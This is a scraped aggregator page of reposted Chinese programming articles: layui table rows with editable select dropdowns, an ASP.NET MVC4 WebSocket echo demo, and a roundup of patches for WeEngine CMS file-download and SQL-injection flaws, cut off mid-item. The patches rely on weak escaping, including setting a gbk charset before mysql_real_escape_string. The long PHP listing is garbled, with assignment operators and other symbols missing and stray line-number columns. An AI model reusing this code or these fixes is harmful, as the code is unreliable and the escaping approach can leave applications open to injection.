layui实现table添加行功能 table里有select可选择可编辑 并且与form表单一起提交数据保存 - 勤劳的搬运工 - CSDN博客

mikel阅读(5683)

来源: layui实现table添加行功能 table里有select可选择可编辑 并且与form表单一起提交数据保存 – 勤劳的搬运工 – CSDN博客

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_26814945/article/details/83275765

这个例子中的下拉框是 可选择 并且 可输入的 还有一个下拉框的点击事件 选择一个值的时候 带出后面几列的值

<%@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″%>
<%@ include file=”/WEB-INF/page/public/tag.jsp”%>
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>
<html>
<head>
<meta charset=”utf-8″>
<title><jsp:include page=”/WEB-INF/page/public/top_title.jsp”/></title>
<meta name=”renderer” content=”webkit”>
<meta http-equiv=”X-UA-Compatible” content=”IE=edge,chrome=1″>
<meta name=”viewport” content=”width=device-width, initial-scale=1, maximum-scale=1″>
<meta name=”apple-mobile-web-app-status-bar-style” content=”black”>
<meta name=”apple-mobile-web-app-capable” content=”yes”>
<meta name=”format-detection” content=”telephone=no”>
<link rel=”stylesheet” href=”${contextPath}/statics/css/layui.css” media=”all”/>

<style>
/* 防止下拉框的下拉列表被隐藏—必须设置— 此样式和表格的样式有冲突 如果表格列数太多 会出现错乱的情况 目前我的解决方法是忽略下拉框的美化渲染 <select lay-ignore> */
.layui-table-cell {
overflow: visible;
}

.layui-table-box {
overflow: visible;
}

.layui-table-body {
overflow: visible;
}
/* 设置下拉框的高度与表格单元相同 */
td .layui-form-select{
margin-top: -10px;
margin-left: -15px;
margin-right: -15px;
}
</style>
</head>
<body class=”childrenBody”>

<div style=”padding:15px;”>
<blockquote class=”layui-elem-quote”>
<span class=”layui-breadcrumb” style=”visibility: visible;”>
<a href=”main.html”>首页</a>
<span lay-separator=””>/</span>
<a href=”${contextPath}/storage/toList”>物料入库</a>
<span lay-separator=””>/</span>
<a><cite>物料入库新增</cite></a> </span>
</blockquote>

<form class=”layui-form” id=”fromId” action=”#”>

<fieldset class=”layui-elem-field”>

<div style=”padding-top:25px;” class=”layui-field-box”>

<div class=”layui-form-item”>
<label class=”layui-form-label”>入库单编号</label>
<div class=”layui-input-inline” style=”width:13%”>
<input type=”text” name=”storagecode” placeholder=”请输入” class=”layui-input” lay-verify=”required”>
</div>

<label class=”layui-form-label”>入库人</label>
<div class=”layui-input-inline” style=”width:13%”>
<input type=”text” name=”storageuser” placeholder=”请输入” class=”layui-input”>
</div>

<label class=”layui-form-label”>仓库</label>
<div class=”layui-input-inline” style=”width:13%”>
<input type=”text” name=”warehouseid” placeholder=”请输入” class=”layui-input”>
</div>

<label class=”layui-form-label”>金额</label>
<div class=”layui-input-inline” style=”width:13%”>
<input type=”text” name=”money” placeholder=”请输入” class=”layui-input”>
</div>

</div>

<div class=”layui-form-item”>
<label class=”layui-form-label”>入库日期</label>
<div class=”layui-input-inline” style=”width:13%”>
<input type=”text” name=”storagetime” placeholder=”请选择” class=”layui-input” id=”date”>
</div>

<label class=”layui-form-label”>制单人</label>
<div class=”layui-input-inline” style=”width:13%”>
<input type=”text” name=”documentmaker” placeholder=”请输入” class=”layui-input”>
</div>

<label class=”layui-form-label”>供应商</label>
<div class=”layui-input-inline” style=”width:13%”>
<input type=”text” name=”supplier” placeholder=”请输入” class=”layui-input”>
</div>

</div>

</div>
</fieldset>

<script type=”text/html” id=”selectTool”>
<select name=”selectDemo” lay-filter=”selectDemo” lay-search>
<option value=””>请选择或输入</option>
{{# layui.each(${selectByExample}, function(index, item){ }}
<option>{{ item.materialcode }}</option>
{{# }); }}
</select>
</script>

<script type=”text/html” id=”toolbarDemo”>
<div align=”right” class=”layui-btn-container”>
<button id=”addTable” class=”layui-btn layui-btn-sm layui-btn-normal” lay-event=”add”>添加行</button>
</div>
</script>
<script type=”text/html” id=”bar”>
<a class=”layui-btn layui-btn-danger layui-btn-xs” lay-event=”del”>删除</a>
</script>

<table id=”demo” lay-filter=”tableFilter”></table>

<div class=”layui-form-item” style=”margin-top: 30px;text-align: center;”>
<button class=”layui-btn” lay-submit=”” lay-filter=”*”>保存</button>
<a href=”${contextPath}/storage/toList” class=”layui-btn layui-btn-primary”>返回</a>
</div>

</form>

</div>

<script type=”text/JavaScript” src=”${contextPath}/statics/layui.js”></script>

<script>

layui.use([‘laydate’,’table’,’form’,’JQuery’], function(){
var table = layui.table,
form = layui.form,
laydate = layui.laydate,
$ = layui.JQuery;
//时间控件
laydate.render({
elem: ‘#date’ //指定元素
});
//下拉框监听事件
form.on(‘select(selectDemo)’, function(data){
//这里是当选择一个下拉选项的时候 把选择的值赋值给表格的当前行的缓存数据 否则提交到后台的时候下拉框的值是空的
var elem = data.othis.parents(‘tr’);
var dataindex = elem.attr(“data-index”);
$.each(tabledata,function(index,value){
if(value.LAY_TABLE_INDEX==dataindex){
value.materialcode = data.value;
}
});
//这个是根据下拉框选的值 查询后台 带出后面几列的数据并赋值给页面 没有需要的同学忽略掉即可
if(data.value){ $.ajax({
url:”${contextPath}/storage/toSelect”,
async:true,
type:”post”,
data:{“materialcode”:data.value},
success:function(data){
if(typeof(data) == ‘string’){
data = JSON.parse(data)
}
//给页面赋值
elem.find(“td[data-field=’materialname’]”).children().html(data.data.materialname);
elem.find(“td[data-field=’specifications’]”).children().html(data.data.specifications);
elem.find(“td[data-field=’warehouseid’]”).children().html(data.data.warehouseid);
elem.find(“td[data-field=’warningnumber’]”).children().html(data.data.warningnumber);
elem.find(“td[data-field=’topwarning’]”).children().html(data.data.topwarning);
elem.find(“td[data-field=’unitprice’]”).children().html(data.data.unitprice);
//给表格缓存赋值
$.each(tabledata,function(index,value){
if(value.LAY_TABLE_INDEX==dataindex){
value.materialname = data.data.materialname;
value.specifications = data.data.specifications;
value.warehouseid = data.data.warehouseid
value.warningnumber = data.data.warningnumber;
value.topwarning = data.data.topwarning
value.unitprice = data.data.unitprice;
}
});

}
});
}

});

//第一个实例 加载表格
var tableIns = table.render({
elem: ‘#demo’
,toolbar: ‘#toolbarDemo’
,defaultToolbar:[]
,limit:100
,cols: [[ //表头
{field: ‘materialcode’, title: ‘物料编号’,templet: ‘#selectTool’}
,{field: ‘materialname’, title: ‘物料名称’,edit: ‘text’}
,{field: ‘number’, title: ‘数量’,edit: ‘text’}
,{field: ‘specifications’, title: ‘规格’,edit: ‘text’}
,{field: ‘warehouseid’, title: ‘仓库’,edit: ‘text’}
,{field: ‘warningnumber’, title: ‘最低库存’,edit: ‘text’}
,{field: ‘topwarning’, title: ‘最高库存’,edit: ‘text’}
,{field: ‘unitprice’, title: ‘单价’,edit: ‘text’}
,{field: ‘subtotal’, title: ‘小计’}
,{title: ‘操作’,align:’center’, toolbar: ‘#bar’}
]]
,data:[{ “materialcode”: “”
,”materialname”: “”
,”number”: “”
,”specifications”: “”
,”warehouseid”: “”
,”warningnumber”: “”
,”topwarning”: “”
,”unitprice”: “”
,”subtotal”: “”
}]

,done: function(res, curr, count){
//如果是异步请求数据方式,res即为你接口返回的信息。
//如果是直接赋值的方式,res即为:{data: [], count: 99} data为当前页数据、count为数据总长度
tabledata = res.data;
//去掉下拉框的失焦事件 否则在下拉框里输入值 失焦后变回下拉选项里的值了 没有需要的同学忽略掉即可
$(‘.layui-form-select’).find(‘input’).unbind(“blur”);
//这里是表格重载的时候 回显下拉框的数据
$(‘tr’).each(function(e){
var $cr=$(this);
var dataindex = $cr.attr(“data-index”);

$.each(tabledata,function(index,value){

if(value.LAY_TABLE_INDEX==dataindex){
$cr.find(‘input’).val(value.materialcode);
}

});

});

//这里是下拉框输入值改变时触发 给表格缓存赋值 没有需要的同学忽略掉即可
$(‘.layui-form-select’).find(‘input’).on(“change”,function(e){

var $cr=$(e.target);
console.log($cr);
var dataindex = $cr.parents(‘tr’).attr(“data-index”);
var selectdata = $cr.val();
$.each(tabledata,function(index,value){
if(value.LAY_TABLE_INDEX==dataindex){
value.materialcode = selectdata;
}
});

});
//这里是数量的输入事件 计算小计用的 小计 = 数量 X 单价
var numberelem = $(‘.layui-table-main’).find(“td[data-field=’number’]”);
var unitpriceelem = $(‘.layui-table-main’).find(“td[data-field=’unitprice’]”);
numberelem.on(“input”,function(e){
var $cr=$(e.target);
var dataindex = $cr.parents(‘tr’).attr(“data-index”);
var unitprice = $cr.parents(‘tr’).find(“td[data-field=’unitprice’]”).children().html();
var sub = unitprice*e.target.value;
$cr.parents(‘tr’).find(“td[data-field=’subtotal’]”).children().html(sub);

$.each(tabledata,function(index,value){
if(value.LAY_TABLE_INDEX==dataindex){
value.subtotal = sub;
}
});

});
//这里是单价的输入事件 计算小计用的 小计 = 数量 X 单价
unitpriceelem.on(“input”,function(e){
var $cr=$(e.target);
var dataindex = $cr.parents(‘tr’).attr(“data-index”);
var number = $cr.parents(‘tr’).find(“td[data-field=’number’]”).children().html();
var sub = number*e.target.value;
$cr.parents(‘tr’).find(“td[data-field=’subtotal’]”).children().html(sub);

$.each(tabledata,function(index,value){
if(value.LAY_TABLE_INDEX==dataindex){
value.subtotal = sub;
}
});

});

}
});
var tabledata;
//监听工具条删除按钮
table.on(‘tool(tableFilter)’, function(obj){
if(obj.event === ‘del’){
obj.del();
};
}
);

//头工具栏添加按钮事件
table.on(‘toolbar(tableFilter)’, function(obj){
if(obj.event === ‘add’){

tabledata.push({
“materialcode”: “”
,”materialname”: “”
,”number”: “”
,”specifications”: “”
,”warehouseid”: “”
,”warningnumber”: “”
,”topwarning”: “”
,”unitprice”: “”
,”subtotal”: “”
})

table.reload(‘demo’, {
data: tabledata
});

};
});
//提交数据到后台保存
form.on(‘submit(*)’, function(data){
// console.log(data.elem) //被执行事件的元素DOM对象,一般为button对象
// console.log(data.form) //被执行提交的form对象,一般在存在form标签时才会返回
// console.log(data.field) //当前容器的全部表单字段,名值对形式:{name: value}
// console.log(tabledata) //当前容器的全部表单字段,名值对形式:{name: value}
$.ajax({
url:”${contextPath}/storage/toSave”,
async:true,
type:”post”,
data:$(data.form).serialize()+’&tabledata=’+JSON.stringify(tabledata),
success:function(data){
if(typeof(data) == ‘string’){
data = JSON.parse(data)
}
if(data.code == 0){
layer.msg(data.msg);
window.location.href=”${contextPath}/storage/toList”;
}else{
layer.msg(data.msg);
}
}
});

return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
});

});

</script>

</body>
</html>
———————
版权声明:本文为CSDN博主「qq_26814945」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_26814945/article/details/83275765

LayerUI的table 里面加 select 下拉框 - Fly社区

mikel阅读(2243)

来源: table 里面加 select 下拉框 – Fly社区

先上效果图:

直接上代码[嘻嘻]

//添加样式:
.table-select-icon{position:absolute;right:10px;line-height:34px;color:#d3d3d3}
.table-select-selected dl{display:block}
.table-select dl{position:absolute;left:0;padding:5px 0;z-index:999;min-width:100%;border:1px solid #d2d2d2;max-height:300px;
    overflow-y:auto;background-color:#fff;border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.12);box-sizing:border-box}

.table-select dl dd{cursor:pointer}
.table-select dl dd,.table-select dl dt{padding:0 10px;line-height:36px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.table-select dl dd.layui-this{background-color:#5FB878;color:#fff}
.table-select dl dd,.table-select dl dt{padding:0 10px;line-height:36px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.table-select dl dd:hover{background-color:#f2f2f2}

//表格 field  需要配置 event  和 templet
<th lay-data="{field:'type', width:120,align:'center', event: 'type', templet: '#selectTpl_type',}">商品类型</th>
//模版
<script type="text/html" id="selectTpl_type">
{{d.type}}<i class="layui-icon table-select-icon"></i>
</script>

//代码部分
layui.use(['layer',  'element',  'table',  'form', 'upload'], function(exports){
var $ = layui.jquery,
    form = layui.form,
    element = layui.element,
    upload = layui.upload,
    table  = layui.table;
//这里才是重点...
    (function($,doc,o){
      var tk;
      var obj;
      var otd;
      var callback;
      o.show = function(h,e,c){
        callback = c;
        var d =  doc.getElementById('table_type_select');
        if(d){
          d.remove();
        }
        otd = e;
        var s = '<div id="table_type_select" class="table-select"><dl class="layui-anim layui-anim-upbit" style="padding: 0px;top: 0px">';
        for(var k in h.data){
          if(h.value == h.data[k].value){
            s += '<dd lay-value="'+ h.data[k].value + '" class="layui-this">'+ h.data[k].text + '</dd>';
          }else{
            s += '<dd lay-value="'+ h.data[k].value + '" >'+ h.data[k].text + '</dd>';
          }
        }
        s += '</dl></div>';
        otd.innerHTML = s + otd.innerHTML;
        obj = doc.getElementById('table_type_select');
        //console.log($(obj));
        obj.onmouseout = function(){
          tk = 1;
          setTimeout(function() {
            if(tk){
              if(obj){
                ke = 0;
                obj.remove();
              }
            }
          }, 200);
        }
        obj.onmouseover = function(){
          tk = 0;
        }
        obj.addEventListener('click', function(e){
          var value = $(e.srcElement).attr('lay-value');
          var text = e.srcElement.innerHTML;
          obj.remove();
          callback({value:value,text:text});
        });
      }
    })($,document, window.type_select = {});
//监听表格事件
table.on('tool(goods_table)',function(obj){
    if(obj.event === 'type'){
        //显示下拉框框
        type_select.show({
          //设置当前选择的id
          value:obj.data.type_id,
          //下拉选择数据
          data:[{
            value: '0',
            text: '实物'
          },{
            value: '1',
            text: '积分'
          },{
            value: '2',
            text: '虚拟卡'
          },{
            value: '3',
            text: '充值'
          }]}, this, function(e){
            //回调函数 返回结果
            obj.data.type_id = e.value;
            obj.data.type = e.text;
            obj.update(obj.data);
            form.render();
          });
        }
    }

[嘻嘻] 刚学习JavaScript
自己折腾了这个。不知道有没有更好的

WebSocket在ASP.NET MVC4中的简单实现 - 小白哥哥 - 博客园

mikel阅读(973)

来源: WebSocket在ASP.NET MVC4中的简单实现 – 小白哥哥 – 博客园

WebSocket 规范的目标是在浏览器中实现和服务器端双向通信。双向通信可以拓展浏览器上的应用类型,例如实时的数据推送、游戏、聊天等。有了WebSocket,我们就可以通过持久的浏览器和服务器的连接实现实时的数据通信,再也不用傻傻地使用连绵不绝的请求和常轮询的机制了,费时费力,当然WebSocket也不是完美的,当然,WebSocket还需要浏览器的支持,目前IE的版本必须在10以上才支持WebSocket,Chrome Safari的最新版本当然也都支持。本节简单介绍一个在服务器端和浏览器端实现WebSocket通信的简单示例。

1.服务器端

我们需要在MVC4的项目中添加一个WSChatController并继承自ApiController,这也是ASP.NET MVC4种提供的WEB API新特性。

在Get方法中,我们使用HttpContext.AcceptWebSocketRequest方法来创建WebSocket连接:

namespace WebSocketSample.Controllers
{
    public class WSChatController : ApiController
    {
        public HttpResponseMessage Get()
        {
            if (HttpContext.Current.IsWebSocketRequest)
            {
                HttpContext.Current.AcceptWebSocketRequest(ProcessWSChat);
            }
            return new HttpResponseMessage(HttpStatusCode.SwitchingProtocols);
        }

        private async Task ProcessWSChat(AspNetWebSocketContext arg)
        {
            WebSocket socket = arg.WebSocket;
            while (true)
            {
                ArraySegment<byte> buffer = new ArraySegment<byte>(new byte[1024]);
                WebSocketReceiveResult result = await socket.ReceiveAsync(buffer, CancellationToken.None);
                if (socket.State == WebSocketState.Open)
                {
                    string message = Encoding.UTF8.GetString(buffer.Array, 0, result.Count);
                    string returnMessage = "You send :" + message + ". at" + DateTime.Now.ToLongTimeString();
                    buffer = new ArraySegment<byte>(Encoding.UTF8.GetBytes(returnMessage));
                    await socket.SendAsync(buffer, WebSocketMessageType.Text, true, CancellationToken.None);
                }
                else
                {
                    break;
                }
            }
        }
    }
}

在这段代码中,只是简单的检查当前连接的状态,如果是打开的,那么拼接了接收到的信息和时间返回给浏览器端。

2.浏览器端

在另外一个视图中,我们使用了原生的WebSocket创建连接,并进行发送数据和关闭连接的操作

@{
    ViewBag.Title = "Index";
}
@Scripts.Render("~/Scripts/jquery-1.8.2.js")

<script type="text/javascript">
    var ws;
    $(
        function () {
            $("#btnConnect").click(function () {
                $("#messageSpan").text("Connection...");
                ws = new WebSocket("ws://" + window.location.hostname +":"+window.location.port+ "/api/WSChat");
                ws.onopen = function () {
                    $("#messageSpan").text("Connected!");
                };
                ws.onmessage = function (result) {
                    $("#messageSpan").text(result.data);
                };
                ws.onerror = function (error) {
                    $("#messageSpan").text(error.data);
                };
                ws.onclose = function () {
                    $("#messageSpan").text("Disconnected!");
                };
            });
            $("#btnSend").click(function () {
                if (ws.readyState == WebSocket.OPEN) {
                    ws.send($("#txtInput").val());
                }
                else {
                    $("messageSpan").text("Connection is Closed!");
                }
            });
            $("#btnDisconnect").click(function () {
                ws.close();
            });
        }
    );
</script>

<fieldset>
    <input type="button" value="Connect" id="btnConnect"/>
    <input type="button" value="DisConnect" id="btnDisConnect"/>
    <hr/>
    <input type="text" id="txtInput"/>
    <input type="button" value="Send" id="btnSend"/>
    <br/>
    <span id="messageSpan" style="color:red;"></span>
</fieldset>

3.测试结果

image

微擎系统BUG漏洞解决方法汇总(原创) - 谦信君 - 博客园

mikel阅读(1798)

来源: 微擎系统BUG漏洞解决方法汇总(原创) – 谦信君 – 博客园

微擎微赞系统BUG漏洞解决方法汇总

弄了微擎系统来玩玩,发觉这个系统BUG还不少,阿里云的提醒都一大堆,主要是没有针对SQL注入做预防,处理的办法基本都是用转义函数。

 

汇总:

1、

微擎任意文件下载
漏洞文件路径:/framework/function/global.func.php
解决方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
修复方法:
打开/framework/function/global.func.php文件
搜索
if (strexists($t'http://')
复制代码
找到
if (strexists($t'http://') || strexists($t'https://') || substr($t, 0, 2) == '//') {
                return $src;
        }
复制代码
替换为
if((substr($t, 0, 7) == 'http://')||(substr($t, 0, 8) == 'https://')||(substr($t, 0, 2) == '//')){ return $src; }
复制代码
搞定
保存文件,上传到服务器,去安骑士上验证一下就过了。

 

2、

微擎SQL注入漏洞
微擎的/web/source/mc/fans.ctrl.php中,对$_GPC[‘nickname’]未进行SQL转义就带入数据库查询中,导致SQL注入的发生。
解决方法:
1
2
3
4
5
6
7
8
9
漏洞在web/source/mc/fans.ctrl.php,修复方法(代码在148行左右)
   搜索
   $nickname = trim($_GPC['nickname']);
   修改为
   $nickname addslashes(trim($_GPC['nickname']));

 

3、

微擎文件编辑SQL注入
微擎的/web/source/site/article.ctrl.php中对$_GPC[‘template’]、$_GPC[‘title’]、$_GPC[‘description’]、$_GPC[‘source’]、$_GPC[‘author’]参数未进行正确转义过滤,导致SQL注入的产生。
解决方法:

搜索代码 message(‘标题不能为空,请输入标题!‘); 如下图:

在 82 行 前添加代码

  1. mysql_set_charset(“gbk”);
  2. $_GPC[‘template‘] = mysql_real_escape_string($_GPC[‘template‘]);
  3. $_GPC[‘title‘] = mysql_real_escape_string($_GPC[‘title‘]);
  4. $_GPC[‘description‘] = mysql_real_escape_string($_GPC[‘description‘]);
  5. $_GPC[‘source‘] = mysql_real_escape_string($_GPC[‘source‘]);
  6. $_GPC[‘author‘] = mysql_real_escape_string($_GPC[‘author‘]);

复制代码

修改后如图:
 

4、
微擎SQL注入漏洞
微擎CMS的/web/source/paycenter/wxmicro.ctrl.php中,对$post[‘member’][‘uid’]输入参数未进行严格类型转义,导致SQL注入的发生
解决方法:
红色部分为新增和修改的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
<?php
/**
 * [WeEngine System] Copyright (c) 2014 WE7.CC
 * WeEngine is NOT a free software, it under the license terms, visited http://www.we7.cc/ for more details.
 */
defined('IN_IA'or exit('Access Denied');
uni_user_permission_check('paycenter_wxmicro_pay');
$_W['page']['title'] = '刷卡支付-微信收款';
$dos array('pay''query''checkpay');
$do = in_array($do$dos) ? $do 'pay';
load()->model('paycenter');
if($do == 'pay') {
    if($_W['isajax']) {
        $post $_GPC['__input'];
        $fee = trim($post['fee']) ? trim($post['fee']) : message(error(-1, '订单金额不能为空'),  '''ajax');
        $body = trim($post['body']) ? trim($post['body']) : message(error(-1, '商品名称不能为空'),  '''ajax');
        $code = trim($post['code']);
        $uid intval($post['member']['uid']);
        
        if($post['cash'] > 0 && empty($post['code'])) {
            message(error(-1, '授权码不能为空'), '''ajax');
        }
        $total $money floatval($post['fee']);
        if(!$total) {
            message(error(-1, '消费金额不能为空'), '''ajax');
        }
        $log "系统日志:会员消费【{$total}】元";
        if($uid > 0) {
            $user = pdo_get('mc_members'array('uniacid' => $_W['uniacid'], 'uid' => $uid));
            if(empty($user)) {
                message(error(-1, '用户不存在'), '''ajax');
            }
            $user['groupname'] = $_W['account']['groups'][$user['groupid']]['title'];
            load()->model('card');
            $card = card_setting();
            load()->model('card');
            $member = pdo_get('mc_card_members'array('uniacid' => $_W['uniacid'], 'uid' => $user['uid']));
            if(!empty($card) && $card['status'] == 1 && !empty($member)) {
                $user['discount'] = $card['discount'][$user['groupid']];
                if(!empty($user['discount']) && !empty($user['discount']['discount'])) {
                    if($total >= $user['discount']['condition']) {
                        $log .= ",所在会员组【{$user['groupname']}】,可享受满【{$user['discount']['condition']}】元";
                        if($card['discount_type'] == 1) {
                            $log .= "减【{$user['discount']['discount']}】元";
                            $money $total $user['discount']['discount'];
                        else {
                            $discount $user['discount']['discount'] * 10;
                            $log .= "打【{$discount}】折";
                            $money $total $user['discount']['discount'];
                        }
                        if($money < 0) {
                            $money = 0;
                        }
                        $log .= ",实收金额【{$money}】元";
                    }
                }
                $post_money strval($post['fact_fee']);
                if($post_money != $money) {
                    message(error(-1, '实收金额错误'),  '''ajax');
                }
                $post_credit1 intval($post['credit1']);
                if($post_credit1 > 0) {
                    if($post_credit1 $user['credit1']) {
                        message(error(-1, '超过会员账户可用积分'),  '''ajax');
                    }
                }
                $post_offset_money = trim($post['offset_money']);
                $offset_money = 0;
                if($post_credit1 && $card['offset_rate'] > 0 && $card['offset_max'] >= 0) {
                    if ($card['offset_max'] == '0') {
                        $offset_money $post_credit1/$card['offset_rate'];
                    else {
                        $offset_money = min($card['offset_max'], $post_credit1/$card['offset_rate']);
                    }
                    if($offset_money != $post_offset_money) {
                        message(error(-1, '积分抵消金额错误'),  '''ajax');
                    }
                    $credit1 $post_credit1;
                    $log .= ",使用【{$post_credit1}】积分抵消【{$offset_money}】元";
                }
            }
            $credit2 floatval($post['credit2']);
            if($credit2 > 0) {
                if($credit2 $user['credit2']) {
                    message(error(-1, '超过会员账户可用余额'),  '''ajax');
                }
                $log .= ",使用余额支付【{$credit2}】元";
            }
        else {
            $post['cash'] = $post['fee'];
        }
        $cash floatval($post['cash']);
        $sum strval($credit2 $cash $offset_money);
        $money strval($money);
        if($sum != $money) {
            message(error(-1, '支付金额不等于实收金额'),  '''ajax');
        }
        $realname $post['member']['realname'] ? $post['member']['realname'] :$post['member']['realname'];
        if($cash <= 0) {
                        $data array(
                'uniacid' => $_W['uniacid'],
                'uid' => $member['uid'],
                'status' => 0,
                'type' => 'wechat',
                'trade_type' => 'micropay',
                'fee' => $total,
                'final_fee' => $money,
                'credit1' => $post_credit1,
                'credit1_fee' => $offset_money,
                'credit2' => $credit2,
                'cash' => $cash,
                'body' => $body,
                'nickname' => $realname,
                'remark' => $log,
                'clerk_id' => $_W['user']['clerk_id'],
                'store_id' => $_W['user']['store_id'],
                'clerk_type' => $_W['user']['clerk_type'],
                'createtime' => TIMESTAMP,
                'status' => 1,
                'paytime' => TIMESTAMP,
                'credit_status' => 1,
            );
            pdo_insert('paycenter_order'$data);
            load()->model('mc');
            if($post_credit1 > 0) {
                $status = mc_credit_update($member['uid'], 'credit1', -$post_credit1array(0, "会员刷卡消费,使用积分抵现,扣除{$post_credit1积分}"'system'$_W['user']['clerk_id'], $_W['user']['store_id'], $_W['user']['clerk_type']));
            }
            if($credit2 > 0) {
                $status = mc_credit_update($member['uid'], 'credit2', -$credit2array(0, "会员刷卡消费,使用余额支付,扣除{$credit2}余额"'system'$_W['user']['clerk_id'], $_W['user']['store_id'], $_W['user']['clerk_type']));
            }
            message(error(0, '支付成功'), url('paycenter/wxmicro'), 'ajax');
        else {
            $log .= ",使用刷卡支付【{$cash}】元";
            if(!empty($_GPC['remark'])) {
                $note "店员备注:{$_GPC['remark']}";
            }
            $log $note.$log;
            $isexist = pdo_get('paycenter_order'array('uniacid' => $_W['uniacid'], 'auth_code' => $code));
            if($isexist) {
                message(error(-1, '每个二维码仅限使用一次,请刷新再试'), '''ajax');
            }
            $data array(
                'uniacid' => $_W['uniacid'],
                'uid' => $member['uid'],
                'status' => 0,
                'type' => 'wechat',
                'trade_type' => 'micropay',
                'fee' => $total,
                'final_fee' => $money,
                'credit1' => $post_credit1,
                'credit1_fee' => $offset_money,
                'credit2' => $credit2,
                'cash' => $cash,
                'remark' => $log,
                'body' => $body,
                'nickname' => $realname,
                'auth_code' => $code,
                'clerk_id' => $_W['user']['clerk_id'],
                'store_id' => $_W['user']['store_id'],
                'clerk_type' => $_W['user']['clerk_type'],
                'createtime' => TIMESTAMP,
            );
            pdo_insert('paycenter_order'$data);
            $id = pdo_insertid();
            load()->classs('pay');
            $pay = Pay::create();
            $params array(
                'tid' => $id,
                'module' => 'paycenter',
                'type' => 'wechat',
                'fee' => $cash,
                'body' => $body,
                'auth_code' => $code,
            );
            $pid $pay->buildPayLog($params);
            if(is_error($pid)) {
                message($pid,  '''ajax');
            }
            $log = pdo_get('core_paylog'array('plid' => $pid));
            pdo_update('paycenter_order'array('pid' => $pid'uniontid' => $log['uniontid']), array('id' => $id));
            $data array(
                'out_trade_no' => $log['uniontid'],
                'body' => $body,
                'total_fee' => $log['fee'] * 100,
                'auth_code' => $code,
                'uniontid' => $log['uniontid']
            );
            
            $result $pay->buildMicroOrder($data);
            if ($result['result_code'] == 'SUCCESS') {
                if(is_error($result)) {
                    message($result,  '''ajax');
                else {
                    $status $pay->NoticeMicroSuccessOrder($result);
                    if(is_error($status)) {
                        message($status'''ajax');
                    }
                    message(error(0, '支付成功'), url('paycenter/wxmicro'), 'ajax');
                }
            else {
                message($result,  '''ajax');
            }
        }
        exit();
    }
    $paycenter_records = pdo_fetchall("SELECT * FROM " .tablename('paycenter_order') . " WHERE uniacid = :uniacid AND clerk_id = :clerk_id ORDER BY id DESC LIMIT 0,10"array(':uniacid' => $_W['uniacid'], ':clerk_id' => $_W['user']['clerk_id']));
    $today_credit_total = pdo_fetchall("SELECT credit2 FROM " . tablename('paycenter_order') . " WHERE uniacid = :uniacid AND clerk_id = :clerk_id AND paytime > :starttime AND paytime < :endtime AND credit2 <> ''"array(':uniacid' => $_W['uniacid'], ':clerk_id' => trim($_W['user']['clerk_id']), ':starttime' => strtotime(date('Ymd')), ':endtime' => time()));
    $today_wechat_total = pdo_fetchall("SELECT cash FROM " . tablename('paycenter_order') . " WHERE uniacid = :uniacid AND clerk_id = :clerk_id AND paytime > :starttime AND paytime < :endtime AND cash <> ''"array(':uniacid' => $_W['uniacid'], ':clerk_id' => trim($_W['user']['clerk_id']), ':starttime' => strtotime(date('Ymd')), ':endtime' => time()));
    foreach ($today_wechat_total as $val) {
        $wechat_total += $val['cash'];
    }
    foreach ($today_credit_total as $val) {
        $credit_total += $val['credit2'];
    }
    $wechat_total $wechat_total $wechat_total '0';
    $credit_total $credit_total $credit_total '0';
    load()->model('card');
    $card_set = card_setting();
    $card_params = json_decode($card_set['params'], true);
    $grant_rate $card_set['grant_rate'];
    unset($card_set['params'], $card_set['nums'], $card_set['times'], $card_set['business'], $card_set['html'], $card_set['description'], $card_set['card_id']);
    $card_set_str = json_encode($card_set);
}
if($do == 'query') {
    if($_W['isajax']) {
        $post $_GPC['__input'];
        $uniontid = trim($post['uniontid']);
        load()->classs('pay');
        $pay = Pay::create();
        $result $pay->queryOrder($uniontid, 2);
        if(is_error($result)) {
            message($result'''ajax');
        }
        if($result['trade_state'] == 'SUCCESS') {
            $status $pay->NoticeMicroSuccessOrder($result);
            if(is_error($status)) {
                message($status'''ajax');
            }
            message(error(0, '支付成功'), '''ajax');
        }
        message(error(-1, '支付失败,当前订单状态:' $result['trade_state']), '''ajax');
    }
}
if ($do == 'checkpay') {
    if($_W['isajax']) {
        $post $_GPC['__input'];
        $uniontid = trim($post['uniontid']);
        load()->classs('pay');
        $pay = Pay::create();
        $result $pay->queryOrder($uniontid, 2);
        if(is_error($result)) {
            message($result'''ajax');
        }
        if($result['trade_state'] == 'SUCCESS') {
            $status $pay->NoticeMicroSuccessOrder($result);
            if(is_error($status)) {
                message($status'''ajax');
            }
            message($result'''ajax');
        }
        message($result'''ajax');
    }
}
template('paycenter/wxmicro');

 

5、

微擎SQL注入
微擎/web/source/extension/menu.ctrl.php文件中,对输入参数id未进行严格过滤,导致SQL注入的发生
解决方法:
红色部分为新增的地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
